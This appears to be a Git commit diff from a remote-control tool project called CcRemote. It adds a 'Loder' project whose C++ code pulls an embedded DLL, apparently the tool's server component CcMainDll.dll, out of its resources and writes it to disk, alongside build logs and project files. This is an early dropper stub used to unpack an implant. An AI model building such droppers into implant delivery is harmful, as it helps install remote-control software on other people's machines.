mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-06-08 13:29:50 +00:00
添加loder工程,释放资源dll
This commit is contained in:
parent
57ddc97543
commit
e6bf19d7d0
Binary file not shown.
@ -7,6 +7,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMa
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EndProject
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}"
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EndProject
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Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loder", "Loder\Loder.vcxproj", "{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}"
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EndProject
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Global
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GlobalSection(SolutionConfigurationPlatforms) = preSolution
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Debug|x64 = Debug|x64
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@ -31,6 +33,14 @@ Global
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{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64
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{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32
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{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32
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{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.ActiveCfg = Debug|x64
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{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.Build.0 = Debug|x64
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{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.ActiveCfg = Debug|Win32
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{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.Build.0 = Debug|Win32
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{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.ActiveCfg = Release|x64
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{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.Build.0 = Release|x64
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{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.ActiveCfg = Release|Win32
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{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.Build.0 = Release|Win32
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EndGlobalSection
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GlobalSection(SolutionProperties) = preSolution
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HideSolutionNode = FALSE
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16
CcMainDll/Loder/Debug/Loder.Build.CppClean.log
Normal file
16
CcMainDll/Loder/Debug/Loder.Build.CppClean.log
Normal file
@ -0,0 +1,16 @@
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g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.pdb
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g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.idb
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.obj
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g:\ccremote\ccremote\bin\server\loder.ilk
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g:\ccremote\ccremote\bin\server\loder.exe
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g:\ccremote\ccremote\ccmaindll\debug\loder.pdb
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.res
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog
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g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog
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3
CcMainDll/Loder/Debug/Loder.log
Normal file
3
CcMainDll/Loder/Debug/Loder.log
Normal file
@ -0,0 +1,3 @@
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Loder.cpp
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G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(1216,5): warning MSB8012: TargetPath(G:\CcRemote\CcRemote\CcMainDll\Debug\Loder.exe) 与 Linker 的 OutputFile 属性值(G:\CcRemote\CcRemote\bin\server\loder.exe)不匹配。这可能导致项目生成不正确。若要更正此问题,请确保 $(OutDir)、$(TargetName) 和 $(TargetExt) 属性值与 %(Link.OutputFile) 中指定的值匹配。
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Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Debug\Loder.exe
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BIN
CcMainDll/Loder/Debug/Loder.res
Normal file
BIN
CcMainDll/Loder/Debug/Loder.res
Normal file
Binary file not shown.
2
CcMainDll/Loder/Debug/Loder.tlog/Loder.lastbuildstate
Normal file
2
CcMainDll/Loder/Debug/Loder.tlog/Loder.lastbuildstate
Normal file
@ -0,0 +1,2 @@
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#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
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Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
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75
CcMainDll/Loder/Loder.cpp
Normal file
75
CcMainDll/Loder/Loder.cpp
Normal file
@ -0,0 +1,75 @@
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// Loder.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
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//
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#include <iostream>
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#include <Windows.h>
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#include "resource.h"
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bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
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{
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DWORD dwWritten;
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HANDLE hFile = CreateFile(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
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if (hFile != NULL)
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{
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WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
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}
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else
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{
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return false;
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}
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CloseHandle(hFile);
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return true;
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}
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//要释放的路径 资源ID 资源名
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bool CreateEXE(const char* strFilePath, int nResourceID, const char* strResourceName)
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{
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HRSRC hResInfo;
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HGLOBAL hResData;
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DWORD dwSize;
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LPBYTE p;
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// 查找所需的资源
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hResInfo = FindResource(NULL, MAKEINTRESOURCE(nResourceID), strResourceName);
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if (hResInfo == NULL)
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{
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//MessageBox(NULL, "查找资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
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return false;
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}
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// 获得资源尺寸
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dwSize = SizeofResource(NULL, hResInfo);
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// 装载资源
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hResData = LoadResource(NULL, hResInfo);
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if (hResData == NULL)
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{
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//MessageBox(NULL, "装载资源失败!", "错误", MB_OK | MB_ICONINFORMATION);
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return false;
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}
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// 为数据分配空间
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p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
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if (p == NULL)
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{
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//MessageBox(NULL, "分配内存失败!", "错误", MB_OK | MB_ICONINFORMATION);
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return false;
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}
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// 复制资源数据
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CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
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bool bRet = CreateMyFile(strFilePath, p, dwSize);
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if (!bRet)
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{
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GlobalFree((HGLOBAL)p);
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return false;
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}
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GlobalFree((HGLOBAL)p);
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return true;
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}
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int main()
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{
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CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL");
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}
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BIN
CcMainDll/Loder/Loder.rc
Normal file
BIN
CcMainDll/Loder/Loder.rc
Normal file
Binary file not shown.
175
CcMainDll/Loder/Loder.vcxproj
Normal file
175
CcMainDll/Loder/Loder.vcxproj
Normal file
@ -0,0 +1,175 @@
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<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup Label="ProjectConfigurations">
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<ProjectConfiguration Include="Debug|Win32">
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<Configuration>Debug</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|Win32">
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<Configuration>Release</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Debug|x64">
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<Configuration>Debug</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|x64">
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<Configuration>Release</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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</ItemGroup>
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<PropertyGroup Label="Globals">
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<VCProjectVersion>15.0</VCProjectVersion>
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<ProjectGuid>{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}</ProjectGuid>
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<Keyword>Win32Proj</Keyword>
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<RootNamespace>Loder</RootNamespace>
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<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v141</PlatformToolset>
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<CharacterSet>MultiByte</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v141</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>MultiByte</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<PlatformToolset>v141</PlatformToolset>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<PlatformToolset>v141</PlatformToolset>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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<ImportGroup Label="ExtensionSettings">
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</ImportGroup>
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<ImportGroup Label="Shared">
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<PropertyGroup Label="UserMacros" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<ClCompile>
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<PrecompiledHeader>
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</PrecompiledHeader>
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<WarningLevel>Level3</WarningLevel>
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<Optimization>Disabled</Optimization>
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<SDLCheck>false</SDLCheck>
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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||||
<ConformanceMode>true</ConformanceMode>
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<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
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</Link>
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||||
</ItemDefinitionGroup>
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||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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||||
<ClCompile>
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||||
<PrecompiledHeader>
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</PrecompiledHeader>
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<WarningLevel>Level3</WarningLevel>
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<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
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<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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||||
<ConformanceMode>true</ConformanceMode>
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||||
</ClCompile>
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||||
<Link>
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||||
<SubSystem>Console</SubSystem>
|
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<GenerateDebugInformation>true</GenerateDebugInformation>
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<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
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</Link>
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||||
</ItemDefinitionGroup>
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||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<ClCompile>
|
||||
<PrecompiledHeader>
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||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<OutputFile>..\\..\\bin\\server\\loder.exe</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Loder.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
35
CcMainDll/Loder/Loder.vcxproj.filters
Normal file
35
CcMainDll/Loder/Loder.vcxproj.filters
Normal file
@ -0,0 +1,35 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loder.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Loder.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\bin\server\CcMainDll.dll" />
|
||||
</ItemGroup>
|
||||
</Project>
|
4
CcMainDll/Loder/Loder.vcxproj.user
Normal file
4
CcMainDll/Loder/Loder.vcxproj.user
Normal file
@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
14
CcMainDll/Loder/Release/Loder.Build.CppClean.log
Normal file
14
CcMainDll/Loder/Release/Loder.Build.CppClean.log
Normal file
@ -0,0 +1,14 @@
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\vc141.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.obj
|
||||
g:\ccremote\ccremote\bin\server\loder.exe
|
||||
g:\ccremote\ccremote\ccmaindll\release\loder.pdb
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.res
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccmaindll\loder\release\loder.tlog\rc.write.1.tlog
|
8
CcMainDll/Loder/Release/Loder.log
Normal file
8
CcMainDll/Loder/Release/Loder.log
Normal file
@ -0,0 +1,8 @@
|
||||
Loder.cpp
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(1216,5): warning MSB8012: TargetPath(G:\CcRemote\CcRemote\CcMainDll\Release\Loder.exe) 与 Linker 的 OutputFile 属性值(G:\CcRemote\CcRemote\bin\server\loder.exe)不匹配。这可能导致项目生成不正确。若要更正此问题,请确保 $(OutDir)、$(TargetName) 和 $(TargetExt) 属性值与 %(Link.OutputFile) 中指定的值匹配。
|
||||
正在生成代码
|
||||
171 of 171 functions (100.0%) were compiled.
|
||||
0 functions were new in current compilation
|
||||
0 functions had inline decision re-evaluated but remain unchanged
|
||||
已完成代码的生成
|
||||
Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Release\Loder.exe
|
BIN
CcMainDll/Loder/Release/Loder.res
Normal file
BIN
CcMainDll/Loder/Release/Loder.res
Normal file
Binary file not shown.
2
CcMainDll/Loder/Release/Loder.tlog/Loder.lastbuildstate
Normal file
2
CcMainDll/Loder/Release/Loder.tlog/Loder.lastbuildstate
Normal file
@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
16
CcMainDll/Loder/resource.h
Normal file
16
CcMainDll/Loder/resource.h
Normal file
@ -0,0 +1,16 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ 生成的包含文件。
|
||||
// 供 Loder.rc 使用
|
||||
//
|
||||
#define IDR_DLL1 101
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 102
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
BIN
bin/server/loder.exe
Normal file
BIN
bin/server/loder.exe
Normal file
Binary file not shown.
Loading…
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Reference in New Issue
Block a user